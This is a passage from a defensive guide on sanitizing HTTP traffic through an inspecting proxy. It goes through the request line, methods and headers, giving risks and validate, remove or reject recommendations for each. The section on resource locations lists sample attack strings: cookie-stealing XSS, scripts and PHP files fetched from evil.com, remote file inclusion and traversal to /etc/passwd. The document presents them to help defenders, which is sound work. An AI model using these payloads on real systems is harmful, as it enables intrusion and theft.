[42] Most programming languages have methods for both URL encoding and decoding. For example, in Java the decoding method is this: `decodedValue = URLDecoder.decode(rawValue, "UTF-8");`

A query string might include sensitive data:

```
http://www.example.com?result=thisIsSensitiveData
```

RECOMMENDATIONS

01. Validate – Validate the query string; more information on validating query strings can be found in section 8.
02. Remove – Remove parameter and values that are not on the whitelist of allowed parameters.

5.7. The Resource Location in the Request Line

OVERVIEW

The resource location in the request line specifies the location of the resource that is being requested. (This location is not the same as the `Location` header, which is used in some responses to inform the client that the requested resource can be found at a different location.[43])

CONCERNS

Data Hiding – If the length of the resource is not restricted, then it can be used to hide data.

Data Attack – If the location contains injected information, then it can be a data attack risk.

PRODUCT

- HTTP 1.1

LOCATION

The location is part of the request line in a request.

EXAMPLE

The location can be a very long path:

[43] The `Location` header is discussed in a later construct; see section 5.31.

```
/here/is/some/really/sensitive/data/that/I/am/passing/to/you/through
/this/path/index.html
```

If extra information is injected into the location (aka an injection attack), it may be able to exploit a vulnerability in a script or the server configuration. An injection attack might attempt to execute Javscript:[44]

```
/index.aspx?continue=javascript:alert(document.cookie)

/vulnerable.cgi?param=<script>alert(document.location)</script>

/vulnerable.cgi?param=%3cscript%20src=http://evil.com/evil.js%3e
```

An injection attack might attempt to upload malicious files:

```
/index.php?param=http://evil.com/evil.php

/index.php?param=ftp://evil.com/evil.php

/index.php?param=\\servershare\share\evil.php
```

An injection attack might attempt to upload a file and then execute it:[45]

```
/victim.php?module_name=http://malicious.example.com&cmd=/bin/ls%20-
l
```

An injection attack might attempt to access files or directories that should not be accessed:

```
/script.php?page=/etc/passwd

/script.php?file=../../../../../../../../../var/lib/locate.db
```

The location can be sensitive:

```
/sensitive_directory/sensitive_filename.html
```

RECOMMENDATIONS

01. Validate – Validate that the location is on a whitelist of non-sensitive URLs.
02. Validate – Validate that the location is a valid path or URL and does not contain any injected information.
03. Remove – The length of the path should be restricted[46] to reduce data hiding. Remove any characters that exceed the limit. This could cause the request to become invalid.
04. Remove – If injected information can be detected, remove it.
05. External Filtering Required – Extract the URL and send it to an external filter.
06. Reject – Reject a message with a long or invalid location.

[44] http://www.gnucitizen.org/blog/content-disposition-hacking/.
[45] http://cwe.mitre.org/data/definitions/98.html.
[46] Although the specification does not require a limit, it warns against paths greater than 255 bytes. Internet Explorer allows just over 2000 characters, and other browsers allow even more.

5.8. The Status Code and Description in the Status Line

OVERVIEW

The status code and description indicate how the server has responded to the client's request. Clients are not required to process the description—it's only there for humans to read—so it may or may not correspond to the status code.

The `306` and `402` status codes are reserved but not currently used; they are not considered valid status codes.

CONCERNS

Data Hiding – If the description contains extraneous information unrelated to the status code, then it is a data hiding risk.

PRODUCT

- HTTP 1.1

LOCATION

The status code and description are part of the status line in a response.

EXAMPLE

The status code and description should correspond:

```
HTTP/1.1 200 OK
```

This description does not correspond to the status code:

```
HTTP/1.1 200 This is sensitive data.
```

And if the status code is not known, it could have an unknown meaning:

```
HTTP/1.1 666 This might be hiding something.
```

RECOMMENDATIONS

01. Validate – Validate the status code is on a whitelist.
02. Validate – Validate that the description is on a whitelist and corresponds to the status code.

03. Replace – Replace description with a predefined description (perhaps the one suggested by the specification) based upon the status code.
04. Remove – Since the description is only for human readability, replace the description with a canned phrase such as, "This is a generic description."
05. External Filtering Required – Extract the description and send to an external filter.
06. Review – Review the description for sensitive or irrelevant information.
07. Reject – If the status code is unknown, reject the message.
08. Reject – Reject any message with the `306` or `402` status code.
09. Reject – If the description is unrelated to the status code or contains sensitive information, reject the message.

5.9. GET and HEAD

OVERVIEW

The `GET` method is used to request content from a URL on a server. `GET` can also be used to submit form data, though this data should only be used to retrieve content, not to store or save the form data.[47] The form data is added to the resource location as a query string. A `GET` can be conditional if it includes one of the "if" headers (e.g., `If-Modified-Since`); it can be partial (i.e., only return part of a resource) if it includes the `Range` header.

The `HEAD` method should be identical to the `GET` method, except that the server should not return any content (only headers). It is used to acquire metadata about a resource (e.g., its length) without actually having to download the resource. In theory `HEAD` should return exactly the same status code and headers as `GET`, but in practice this is not always true.

CONCERNS

Data Hiding – If sensitive data is submitted from a form, then `GET` and `HEAD` are data hiding risks.

Data Attack – If malicious content is submitted from a form, then `GET` and `HEAD` are data attack risks.

Data Disclosure – If sensitive data is submitted from a form, then `GET` and `HEAD` are data disclosure risks.

[47] For example, the form contents are used to create an SQL query.

PRODUCT

- HTTP 1.1

LOCATION

`GET` and `HEAD` are part of the request line in a request.

EXAMPLE

Here is an example of a `GET` request line:

```
GET /index.html HTTP/1.1
```

A `GET` can contain a query string if it submits form data:[48]

```
GET /emailsubmission.php?firstname=John&lastname=Doe&age=40 HTTP/1.1
```

Here is an example of a `HEAD` request line:

```
HEAD /index.html HTTP/1.1
```

A `HEAD` can contain a query string if it submits form data:

```
HEAD /emailsubmission.php?firstname=John&lastname=Doe&age=40
HTTP/1.1
```

RECOMMENDATIONS

01. Validate – Validate that the form data is in the proper format for a query string, which includes validating that the keys are authorized, the values are appropriate for their key, and that the keys are constrained.[49]
02. External Filtering Required – Extract the form data from the query string and send to an external filter.
03. Reject – If the query string contains sensitive information, reject the message.

5.10. POST and PUT

OVERVIEW

[48] See section 5.6 for more information on query strings.
[49] See Appendix A for more information.

The `POST` method is used to submit data to a server as content; it is typically used by web pages for submitting form data or uploading files. With a `POST`, the resource location is not a resource to retrieve but rather the resource that will process the data that is submitted.

The `PUT` method is used to send data to a server to be stored; it may be saved as a new file or used to update an existing file. `PUT` is similar to `POST`, but the resource location is the location for the data to be stored, not a resource that will process the data.

The `Content-Length` header should be present for both of these requests unless the content is chunked, in which case the `Transfer-Encodings` header should be present and have the value `chunked`.

CONCERNS

Data Hiding – If sensitive data is uploaded, then `POST` and `PUT` are data hiding risks.

Data Attack – If malicious content is uploaded, then `POST` and `PUT` are data attack risks.

Data Disclosure – If sensitive data is uploaded, then `POST` and `PUT` are data disclosure risks.

PRODUCT

- HTTP 1.1

LOCATION

`POST` and `PUT` are part of the request line in a request.

EXAMPLE

Here is an example of a `POST` request line; in this example, "results.php" is the resource that will process the data:

```
POST /results.php HTTP/1.1
```

If the contents of a `POST` come from a form, they will look like a query string:

```
first_name=John&last_name=Doe&age=40
```

Here is an example of a `PUT` request line; in this example, "bio.html" is the file where the contents will be written to:

```
PUT /bio.html HTTP/1.1
```

RECOMMENDATIONS

01. Validate – If the content is not chunked, validate that the `Content-Length` header is present, that its value matches the actual length of the content, and that it matches the type of the content.
02. Validate – If the content is chunked, validate that the `Transfer-Encoding` header is present and that it has the value `chunked`.
03. Validate – If the contents come from a form, validate that the form data is in the proper format for a query string, which includes validating that the keys are authorized, the values are appropriate for their key, and that the keys are constrained.[50]
04. Replace – If the query string contains sensitive information, replace all names and values that are sensitive with generic text, such as `name` or `value`. Replacing names and/or values might alter what is stored on the server.
05. Remove – If the query string contains sensitive information, remove the query string.
06. External Filtering Required – Extract the contents and send to an external filter. For example, if the contents are HTML, then send to an HTML filter.
07. Reject – If the contents contain sensitive information, reject the message.

5.11. DELETE

OVERVIEW

When a client uses the `DELETE` method, it is requesting the server to delete a resource. There is, of course, no guarantee that the server will carry out this request; the configuration of the server or a human operator can intervene to prevent its execution. The responsibility for preventing the unauthorized deletion of resources belongs solely to the server; however, an ISSP can be used to provide extra protection simply by blocking all `DELETE` requests.

CONCERNS

Data Attack – If the server has not been correctly configured, then `DELETE` is a data attack risk.

PRODUCT

[50] See Appendix A for more information.

- HTTP 1.1

LOCATION

`DELETE` is part of the request line in a request.

EXAMPLE

Here is an example of a `TRACE` request line:

```
DELETE /someFile.html HTTP/1.1
```

RECOMMENDATIONS

01. Reject – Reject the `DELETE` request.

5.12. TRACE

OVERVIEW

"`TRACE` allows the client to see what is being received at the other end of the request chain and use that data for testing or diagnostic information;"[51] the request is returned as the contents of the response. Because the contents of the `TRACE` are returned in the response, `TRACE` can be a data attack risk via a cross-site tracing (XST) attack[52] if the server has an application vulnerable to a cross-site scripting (XSS) attack; XST can be used to compromise cookies, session information, and other authentication data contained in the request headers. Many servers have `TRACE` disabled.

CONCERNS

Data Attack – If the server is not completely secure from XSS attacks, then `TRACE` is a data attack risk.

Data Disclosure – Since `TRACE` can reveal information about a network architecture, it is a data disclosure risk.

PRODUCT

[51] https://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.8.
[52] http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf.

- HTTP 1.1

LOCATION

`TRACE` is part of the request line in a request.

EXAMPLE

Here is an example of a `TRACE` request line:

```
TRACE / HTTP/1.1
```

RECOMMENDATIONS

01. Replace – Return a `501` status code (Not Implemented) instead of forwarding the `TRACE`.
02. Remove – Remove any header in the request that might contain sensitive information, such as those containing cookies, session information, and authentication credentials.
03. Reject – Reject the `TRACE` request.

5.13. CONNECT

OVERVIEW

The `CONNECT` method is used to create an end-to-end tunnel between a client and a server through a proxy. A client makes a request to a proxy, asking it to establish a tunneled connection from the client through the proxy to the server. Once this connection is established, the proxy is supposed to blindly proxy the TCP stream back and forth between the client and server. At this point it is no longer evaluating HTTP requests and responses.

There are three reasons why an ISSP, which is a proxy, cannot allow tunnels to be created through itself. First, if the ISSP is tunneling data, then by definition it should no longer be sanitizing HTTP messages and their content, thus it's no longer doing its job.

Second, once it establishes tunnel, the ISSP is proxying the TCP stream. If the ISSP wanted to keep inspecting and sanitizing the data, it would have to be capable inspecting and sanitizing TCP. To make matters worse, once a client and server have a tunnel, they are free to change to other protocols, such as telnet or FTP.

Now the ISSP must be capable of identifying, inspecting, and sanitizing all these protocols as well. If it's unable to do that, then can't do its job.

Third, the most common use for CONNECT is to request a resource using TLS. The process of establishing a secure connection is done in such a fashion that only the client and the server know the shared encryption key. Though the ISSP is able to proxy the data, it is not capable of inspecting data. Obviously this prevents it from doing its job.

CONCERNS

Data hiding risk – Since `CONNECT` prevents data from being inspected and sanitized, it is a data hiding risk.

Data attack risk – Since `CONNECT` prevents data from being inspected and sanitized, it is a data attack risk.

Data disclosure risk – Since `CONNECT` prevents data from being inspected and sanitized, it is a data disclosure risk.

PRODUCT

- HTTP 1.1

LOCATION

`CONNECT` is part of the request line in a request.

EXAMPLE

Here is an example of a `CONNECT` request line:

```
CONNECT /example.html HTTP/1.1
```

RECOMMENDATIONS

01. Reject – Reject the `CONNECT` request.

5.14. Partial Content

OVERVIEW

It is possible for the server to return only a portion of the requested resource to the client. This is known as partial content, and there are several indicators that can be used to detect partial content:

- The `206` status code (Partial Content) indicates that the server successfully processed the client's request for part of a resource and is returning it. A `206` response will include either the `Content-Range` or `Content-Type` header.
- The `Content-Range` header indicates that the response has one range, whose portion (in bytes) of the resource is included in the contents as well as the total size of the resource.
- The `Content-Type` header with a value of `multipart/byteranges` indicates that the response has multiple ranges, each having its own `Content-Type` and `Content-Range` headers and contents. Despite the fact that there are multiple ranges of content, it is still treated as one content section. This option is not widely supported by web browsers.

If a message includes this status code or these headers, it indicates that only a portion of the resource is in the contents; an ISSP cannot do a thorough inspection and sanitization when it only has part of a resource.

CONCERNS

Data Hiding – Because it returns only a portion of a resource, it is a data hiding risk.

Data Attack – Because it returns only a portion of a resource, it is a data attack risk.

PRODUCT

- HTTP 1.1

LOCATION

`206` is a status code in the status line of a response. `Content-Range` and `Content-Type` are entity headers in requests or responses.

EXAMPLE

Here is an example of a `206` status code and a `Content-Range` header:

```
HTTP/1.1 206 Partial Content
Content-Range: bytes 800-1000/2048
```

RECOMMENDATIONS

01. External Filtering Required – It may be possible to create a special filter that can handle partial content on behalf of an ISSP. When the filter receives partial

content, it makes a request to the origin server for the remainder of the content. Once it has the all of the content, it inspects it as normal. If there are no issues, then it informs the ISSP, which then allows the partial content to be returned to the client. This filter may cause a decrease in performance, increased latency, and it may not be able to sanitize anything, as it might change the ranges of the content.

02. Reject – Reject the message.

5.15. 407 Status Code and Proxy-Authenticate

OVERVIEW

A proxy can require a client to authenticate before it will process a request. When a proxy returns a `407` status code, it indicates that it requires authentication credentials. It will also return one or more `Proxy-Authenticate` headers, which tell the client the type (or types) of authentication schemes it supports, one `Proxy-Authenticate` header for each scheme.

CONCERNS

Proxy authentication is not a risk, but requiring authentication might reduce other risks by preventing unauthorized users from using an ISSP.

PRODUCT

- HTTP 1.1

LOCATION

`407` is a status code in the status line of a response. `Proxy-Authenticate` is a header in a response.

EXAMPLE

Here is an example with the `407` status code and two `Proxy-Authenticate` headers:

```
HTTP/1.1 407 Proxy Authentication Required

Proxy-Authenticate: Basic realm=“Financials”

Proxy-Authenticate: Digest realm=“Financials”,nonce=“fjeief-8f9e8”
```

The digest response may include other optional parameters as well, such as algorithm, domain, opaque, qop, and stale.

As noted in the section titled "Authorization and Proxy-Authorization" neither basic nor digest access authorization are considered secure; other types of authentication should be considered.

RECOMMENDATIONS

01. Use proxy authentication to prevent unauthorized use of an ISSP.

5.16. Accept

OVERVIEW

The `Accept` header lists the content types (and subtypes) that the client can process. If there is no `Accept` header, then it is assumed the client can process all content types.

CONCERNS

The `Accept` header is not a risk, but it can be used to attempt to remove unsupported content types, thus removing their risks, if it is properly constrained to explicitly define supported content types.

PRODUCT

- HTTP 1.1

LOCATION

`Accept` is a header in a request.

EXAMPLE

The `Accept` header contains a comma-delimited set of types and subtypes:

```
Accept: text/html, application/xml, application/xhtml+xml
```

It can contain a wildcard, the asterisk (*), to denote any type or subtype:

```
Accept: */html, text/*, */*
```

A content type can have a quality factor that specifies the level of preference. The quality factor can be 0 (unacceptable), 1 (preferred, the default), or anywhere in between:

```
Accept: text/html, application/xml;q=0.5,
application/xhtml+xml;q=0.0
```

RECOMMENDATIONS

01. Validate – If the request has a response, validate that the content of the response matches one of the content types specified in the `Accept` header.
02. Replace – Set the quality factor to 0.0 for any unsupported content types.
03. Remove – Remove any unsupported content types.
04. Remove – Remove all wildcards, both in the type and subtype.
05. Reject – Reject the request if none of the content types are supported.

5.17. Accept-Charset

OVERVIEW

The `Accept-Charset` header lists the character encodings (aka character sets[53]) that the client can process. Unless marked otherwise, it is assumed that all clients can process ISO-8859-1.

CONCERNS

The `Accept-Charset` header is not a risk, but it can be used to attempt to remove unsupported character encodings, thus removing their risks, if it is properly constrained to explicitly define supported character encodings.

PRODUCT

- HTTP 1.1

LOCATION

`Accept-Charset` is a header in a request.

EXAMPLE

[53] https://www.w3.org/Protocols/rfc2616/rfc2616-sec3.html#sec3.4.

The `Accept-Charset` header contains a comma-delimited set of character encodings:

```
Accept-Charset: ISO-8859-1, utf-8
```

It can contain a wildcard, the asterisk (*), to denote any character encoding. Like the `Accept` header, a character encoding can have a quality factor that specifies the level of preference. The quality factor can be 0 (unacceptable), 1 (preferred, the default), or anywhere in between:

```
Accept-Charset: ISO-8859-1, utf-8;q=0.5, *;q=0.2
```

RECOMMENDATIONS

01. Validate – If the request has a response, validate that the character encoding of the response matches one of the character encodings specified in the `Accept-Charset` header.
02. Replace – Set the quality factor to 0.0 for any unsupported character encodings. Some servers may not honor this setting.
03. Remove – Remove any unsupported character encodings.
04. Remove – Remove all wildcards.
05. Reject – Reject the request if none of the character encodings are supported.

5.18. Accept-Encoding and TE

OVERVIEW

The `Accept-Encoding` header lists the content encodings that the client can process. The `TE` header lists the types of transfer encodings that the client can process. `TE` stands for transfer encoding.[54]

CONCERNS

The `Accept-Encoding` header is not a risk, but it can be used to attempt to remove unsupported content encodings, thus removing their risks, if it is properly constrained to explicitly define supported content encodings.

[54] The header is poorly named; to be consistent with other the headers it should have been called Accept-Transfer-Encodings.

The TE header is not a risk either, but it can be used to attempt to remove unsupported transfer encodings, thus removing their risks, if it is properly constrained to explicitly define supported transfer encodings.

PRODUCT

- HTTP 1.1

LOCATION

`Accept-Encoding` is a header in a request. `TE` is a header in a request.

EXAMPLE

The `Accept-Encoding` header contains a comma-delimited set of content encodings:

```
Accept-Encoding: gzip, deflate
```

It can contain a wildcard, the asterisk (*), to denote any content encoding. Like the `Accept` header, a content encoding can have a quality factor that specifies the level of preference. The quality factor can be 0 (unacceptable), 1 (preferred, the default), or anywhere in between:

```
Accept-Encoding: gzip;q=1.0, compress;q=0.5, *;q=0
```

The value `identity` refers to no content encoding:

```
Accept-Encoding: identity
```

Here is an example of the `TE` header:

```
TE: deflate, gzip
```

Any transfer encoding can have a quality factor that specifies the level of preference:

```
TE: chunked, deflate;q=0.5
```

If the header is absent or empty, it is the same as if it used chunked; that is, these two are equivalent:

```
TE:

TE: chunked
```

It can optionally include the keyword `trailers` to indicate if it can process trailer fields in a chunked transfer-encoding, like so:

```
TE: chunked, trailers
```

RECOMMENDATIONS

01. Validate – If the request has a response, validate that the content encoding of the response matches one of the character encodings specified in the `Accept-Encoding` header and that the transfer encoding of the response matches one of the transfer encodings specified in the `TE` header.
02. Replace – Set the quality factor to 0.0 for any unsupported encodings.
03. Remove – Remove any unsupported encodings.
04. Remove – Remove all wildcards in an `Accept-Encoding` header.
05. Reject – Reject the request if none of the encodings are supported.

5.19. Accept-Language

OVERVIEW

The `Accept-Language` header lists the languages that the client can process. If this header is not present, it is assumed that the client can process all languages.

CONCERNS

The `Accept-Language` header is not a risk, but it can be used to attempt to remove unsupported languages, thus removing their risks, if it is properly constrained to explicitly define supported languages.

PRODUCT

- HTTP 1.1

LOCATION

`Accept-Language` is a header in a request.

EXAMPLE

The `Accept-Language` header contains a comma-delimited set of languages:[55]

```
Accept-Language: en, en-US
```

It can contain a wildcard, the asterisk (*), to denote any language. Like the `Accept` header, a language can have a quality factor that specifies the level of preference.

[55] As defined by RFC 1766. The tags are listed in ISO-639 and ISO-3166.

The quality factor can be 0 (unacceptable), 1 (preferred, the default), or anywhere in between:

```
Accept-Language: en;q=0.9, en-US, en-UK;q=0.8
```

RECOMMENDATIONS

01. Validate – If the request has a response, validate that the language of the response matches one of the languages specified in the `Accept-Language` header.
02. Replace – Set the quality factor to 0.0 for any unsupported languages.
03. Remove – Remove any unsupported languages.
04. Remove – Remove all wildcards.
05. Reject – Reject the request if none of the languages are supported.

5.20. Accept-Ranges

OVERVIEW

The `Accept-Ranges` header is an optional header that allows the server to tell the client whether or not it can accept range requests. This is used to inform the client that the server supports resuming file downloads and downloading multiple parts of a file simultaneously. The default assumption is that the server can accept range requests, but if the server wants to explicitly inform the client, it can include this header.

CONCERNS

This header is not a risk per se, but it can be used to encourage the use of the `Range` header, which can be a data hiding and data attack risk.

PRODUCT

- HTTP 1.1

LOCATION

`Accept-Ranges` is a header in a response.

EXAMPLE

If the server accepts range requests, it can include this header:

```
Accept-Ranges: bytes
```

If the server cannot accept range requests, it can (and should) include this header:

```
Accept-Ranges: none
```

RECOMMENDATIONS

01. Replace – If ranges are considered a risk (see the section entitled "Range"), then include the `Accept-Ranges` header and set the value to `none`.

5.21. Authorization and Proxy-Authorization

OVERVIEW

The `Authorization` header presents authorization information to the server. The `Proxy-Authorization` header presents authorization information to the proxy. The format and functionality of these two headers are identical.

There are two native methods for HTTP authentication, basic and digest.[56] Basic access authentication base64-encodes[57] a colon separated username and password. If the connection is not secure (e.g., with SSL/TLS), these credentials are effectively passed as plaintext[58] and can be captured by sniffing network traffic. Basic access authentication is considered to be very insecure.[59]

Digest access authentication encrypts the username, password, the URL, client and server nonces, and other information using MD5, a one-way cryptographic hashing algorithm. While more secure than basic access authentication, digest access authentication is still considered to be weak compared to newer methods; it can be compromised by various brute force attacks.

There is another problem unique to web browsers. "Modern browsers support both methods and do not distinguish between them in any clear way. As a result, attackers can simply replace the word digest with basic in the initial request to

[56] These are defined in RFC 2617: https://www.ietf.org/rfc/rfc2617.txt.
[57] This ensures that non-HTTP-compatible characters are encoded so they can be transported.
[58] Decoding base64 is trivial.
[59] Basic over SSL/TLS, however, is considered secure, though there are still issues that should be considered.

obtain a clean, plaintext password as soon as the user completes the authentication dialog."[60]

CONCERNS

Data Hiding – Since the username and password are encoded, basic is a data hiding risk. Since the username, password, and other fields are hashed, digest is also a data hiding risk.

Data Attack – Since these authorization mechanisms are not very strong and may allow accounts to be compromised, they are a data attack risk.

PRODUCT

- HTTP 1.1

LOCATION

`Authorization` and `Proxy-Authorization` are headers in a request.

EXAMPLE

Here is an example of basic authorization:

```
Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==
```

Here is an example of digest authorization:

```
Authorization: Digest username="JohnDoe",
                realm="example.com",
                nonce="7abeoDCRBAA=e1ad0db74fb39c54879161a7bc",
                uri="/dir/index.html",
                qop=auth,
                nc=00000006,
                cnonce="dj83737113b",
                response="6629fae49393a05397450978507c4ef1",
                opaque="5ccc069c403ebaf9f0171e9517f40e41"
```

RECOMMENDATIONS

In general, neither Basic nor Digest authentication should be used. Security policies might require the use of newer, stronger forms of HTTP authentication (e.g. NTLM, Kerberos, etc…), TLS, or the use of specialized hardware and protocols.[61]

[60] Michal Zalewski, *The Tangled Web*, p63.
[61] Covering these options is beyond the scope of this document.

01. External Filtering Required – If the authorization is basic, send the header to an external filter that can decode the base64 encoding. Then inspect the username and password for hidden data.
02. Reject – If these authorization schemes are protecting sensitive systems or information, reject the request. (This assumes that the ISSP requires some other, stronger form of authorization.)

5.22. Cache-Control

OVERVIEW

The `Cache-Control` header can be used by clients and servers to direct the behavior of caching systems. It contains a comma-delimited set of values known as directives. There are many directives—`no-cache`, `no-store`, `max-age`, etc.—that are of no concern, but the `no-transform` directive could be a problem. It restricts proxies and caching systems from modifying the content of the response.[62] It prevents a caching proxy from transformations such a converting a JPG file into a PNG file or moving external CSS rules inline. As the very nature of an ISSP includes sanitization of requests and responses, its function is in tension with this header.

CONCERNS

The `Cache-Control` header with the `no-transform` directive is not a risk per se, but if honored, it might prevent an ISSP from sanitizing content and removing risks.

PRODUCT

- HTTP 1.1

LOCATION

`Cache-Control` with the `no-transform` directive is a general header that can be in a request or a response.

EXAMPLE

[62] https://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.9.5.

Here is an example of the `Cache-Control` header:

```
Cache-Control: no-cache, no-store
```

Here is the `Cache-Control` header with the `no-transform` directive:

```
Cache-Control: no-transform
```

RECOMMENDATIONS

01. Remove – Remove the `no-transform` directive. This intentionally violates the requirements of the spec, which requires that directives pass through proxies.[63]

5.23. Connection and Upgrade

OVERVIEW

The `Connection` header is primarily used to exchange information about when to keep the connection between the server and client open or closed. It can also be used by a client to request (but not demand) a connection upgrade, either to a newer version of the protocol or to a different protocol. The exact upgrade requested will be found in the `Upgrade` header, which must be present.

The `Upgrade` header is used to specify to which protocol (or protocols) a client desires to switch. The `Upgrade` header is used with the `Connection` header, which should have a value of `Upgrade`.

If the server does not want to switch, it simply ignores the request. If it wants to switch, it replies with the `101` status code and specifies the protocols it is agreeing to in the `Upgrade` header.

CONCERNS

The request to upgrade to a new protocol is a not a risk per se, but it may cause a change in protocol that an ISSP cannot support, thus preventing it from inspecting and sanitizing HTTP and/or its content.

PRODUCT

- HTTP 1.1

[63] https://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.9.

LOCATION

`Connection` and `Upgrade` are general headers; in this scenario they are in the request.

EXAMPLE

If the client wants to switch to TLS, it would do so like this:

```
Upgrade: TLS/1.0
Connection: Upgrade
```

If the client wants to switch to the WebSocket protocol, it would do so like this:

```
Upgrade: WebSocket
Connection: Upgrade
```

If the server wants to switch, it replies with the `101` status code and specifies the protocols it is agreeing to in the `Upgrade` header, like so:

```
HTTP/1.1 101 Switching Protocols
Upgrade: TLS/1.0, HTTP/1.1
```

RECOMMENDATIONS

01. Replace – If the ISSP cannot support any of the protocols in the `Upgrade` header, change the value of `Connection` from `Upgrade` to `Keep-Alive`.
02. Remove – Remove any protocols from the `Upgrade` header that the ISSP cannot support.

5.24. Content-Encoding and Transfer-Encoding

OVERVIEW

The `Content-Encoding` header indicates the method used to encode the content of the message based upon its format. This is typically used to compress the content, and it is expected to remain compressed all the way from the original sender to the final recipient.

The `Transfer-Encoding` header lists the transfer encoding used to encode the content of the message based upon the network that will transport the message. This is typically used either to compress or chunk the content. Chunked content is typically created dynamically and is broken into pieces. Compressed content is expected to remain compressed only from one point to the next.

"HTTP/1.1 makes a distinction between content-codings, which are end-to-end encodings that might be inherent in the native format of a resource, and transfer-codings, which are always hop-by-hop. Compression can be done either as a content-coding or as a transfer-coding."[64]

Encoded content poses a risk because it first must be decoded before it can be inspected and sanitized.

CONCERNS

Data Hiding – If the content cannot be decoded, it is a data hiding risk.

Data Attack – If the content cannot be decoded, it is a data attack risk. If the content can be decoded and is specially crafted to attack the decoding software, it is a data attack risk.

Data Disclosure – If the content cannot be decoded, it is a data disclosure risk.

PRODUCT

- HTTP 1.1

LOCATION

`Content-Encoding` is an entity header that can be in a request or response. `Transfer-Encoding` is a general header that can be in a request or response.

EXAMPLE

Here is an example of the `Content-Encoding` header:

```
Content-Encoding:  gzip
```

Here is an example of the `Transfer-Encoding` header:

```
Transfer-Encoding: gzip
```

Responses often used chunked transfer encoding when returning large quantities of dynamically created content:

```
Transfer-Encoding: chunked
```

RECOMMENDATIONS

[64] http://www8.org/w8-papers/5c-protocols/key/key.html; https://www.w3.org/Protocols/rfc2616/rfc2616-sec13.html#sec13.5.1.

01. Validate – If the message is chunked, validate that the number of bytes specified matches the number of bytes in the chunk.
02. Validate – Validate that the size of each chunk does not exceed some reasonable maximum.
03. External Filtering Required – Send to an external filter that can decode the content (including compression encodings and chunked), then inspect.
04. Reject – If the message is chunked, require a max byte value. Reject the message if the value is exceeded, as this can be used to create stack overflows.[65]
05. Reject – If the encoding cannot be decoded, then block the message.

5.25. Content-Language

OVERVIEW

The `Content-Language` header indicates the language of the content of the message. This header is rarely used by browsers.[66] The risk of this header is not in the header itself, but in the content; if an ISSP does not support the language, then it will not be able to inspect and sanitize the content.

CONCERNS

Data Hiding – If the language is not supported by the ISSP, the content is a data hiding risk.

Data Disclosure – If the language is not supported by the ISSP, the content is a data disclosure risk.

PRODUCT

- HTTP 1.1

LOCATION

`Content-Language` is an entity header that can be in a request or a response.

EXAMPLE

Here is an example of English content:

[65] https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2002/ms02-028.
[66] https://www.w3.org/International/geo/html-tech/tech-lang.html#ri20060630.133619987.

```
Content-Language:  en
```

If the content is presented in multiple languages, they can be included in a comma-delimited list:

```
Content-Language:  en, es
```

RECOMMENDATIONS

01. Validate – Validate that the language specified in the header matches the actual language of the content.
02. Replace – If the language is not understood, translate it to a language that is understood.
03. External Filtering Required – Send the content to a filter than can translate from the unsupported language to a supported language, then inspect the content.
04. Reject – If the language cannot be understood, reject the message.

5.26. Content-Length

OVERVIEW

The `Content-Length` header indicates the length of the content—not including the headers—in bytes. The size includes any content encodings; if the content is compressed with gzip, then the value is the compressed size, not the original size. `Content-Length` is required for messages with content unless the content is chunked. The `Content-Length` header is especially important with persistent connections as it allows the recipient to know when one message stops and another begins.

This header is sometimes intentionally set to the wrong value. Without a `Content-Length`, a client cannot show a progress bar that lets the user know how much of the file has been downloaded so far, thus some servers provide an inflated estimate.[67] This may work for web browsers, which tend to be very forgiving, but it may cause problems for other clients.

An inflated header may also disguise an attack, and this header has been the target of numerous exploits. Some attacks have used multiple, incorrect `Content-`

[67] http://tech.hickorywind.org/articles/2008/05/23/content-length-mostly-does-not-matter-the-reverse-bob-barker-rule.

`Length` headers to inject data.[68] Others have used a very large number or a very large negative number to trigger a crash[69] or cause a DoS attack.[70]

CONCERNS

Data Attack – If the content length is incorrect, it can be a data attack risk.

PRODUCT

- HTTP 1.1

LOCATION

`Content-Length` is an entity header in a request or a response.

EXAMPLE

Here is an example of a `Content-Length` header:

```
Content-Length:  2044
```

RECOMMENDATIONS

01. Validate – Validate that the value of `Content-Length` matches the length of the content.
02. Validate – Validate that there is only one `Content-Length` header.
03. Validate – Validate that the `Content-Length` does not exceed some max value; validate that it is not less than 1.
04. Replace – If the value of the `Content-Length` header does not match the length of the content, replace the value with the correct value.
05. Replace – If the `Content-Length` exceeds some max value in a request, reply with a `413` status code (Request Entity Too Large) instead of forwarding the request on to the origin server.
06. Remove – Remove extra `Content-Length` headers.
07. Remove – If the `Transfer-Encoding` header exists and has the value of `chunked`, remove the `Content-Length` header, as the former has precedence.
08. Reject – Reject a message with multiple `Content-Length` headers.

[68] http://trac.tools.ietf.org/wg/httpbis/trac/ticket/95.
[69] http://my.opera.com/securitygroup/blog/2010/03/09/the-malformed-content-length-header-security-issue; http://secunia.com/advisories/11841.
[70] https://community.qualys.com/blogs/securitylabs/2011/07/07/identifying-slow-http-attack-vulnerabilities-on-web-applications.

5.27. Content-MD5

OVERVIEW

The `Content-MD5` header contains an MD5 digest of the contents (including content encoding but not including transfer encoding), but not the headers; it's a cryptographic checksum that allows the recipient to verify its integrity, though they are not required to use it. It does not prevent malicious changes to the content (i.e., an attacker could simply update the header, too), but it can be used to detect accidental changes. This feature is not well-supported by web browsers.

CONCERNS

Data Attack – If the checksum has the wrong value, it indicates that contents may have been changed, which is a data attack risk.

PRODUCT

- HTTP 1.1

LOCATION

`Content-MD5` is an entity header in a request or response.

EXAMPLE

Here is an example of the `Content-MD5` header:

```
Content-MD5: Q3hlY3sgXW54ZWwyaXo5kQ==
```

RECOMMENDATIONS

01. Replace – If an ISSP sanitizes the content, calculate the new digest and update the `Content-MD5` header.
02. Replace – Calculate the digest; if it doesn't match the header, update the `Content-MD5` header.
03. Reject – Calculate the digest; if it doesn't match the header, reject the message.

Note that updating this header intentionally violates the specification, which states, "Only origin servers or clients MAY generate the `Content-MD5` header field; proxies and gateways MUST NOT generate it, as this would defeat its value as an end-to-end integrity check."[71]

[71] https://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.15.

5.28. Content-Type

OVERVIEW

The `Content-Type` header specifies the type and subtype of the content (aka media type).[72] It provides the recipient with a hint on how to process the content. If the media type remains unknown, the recipient should treat it as type `application/octet-stream`.

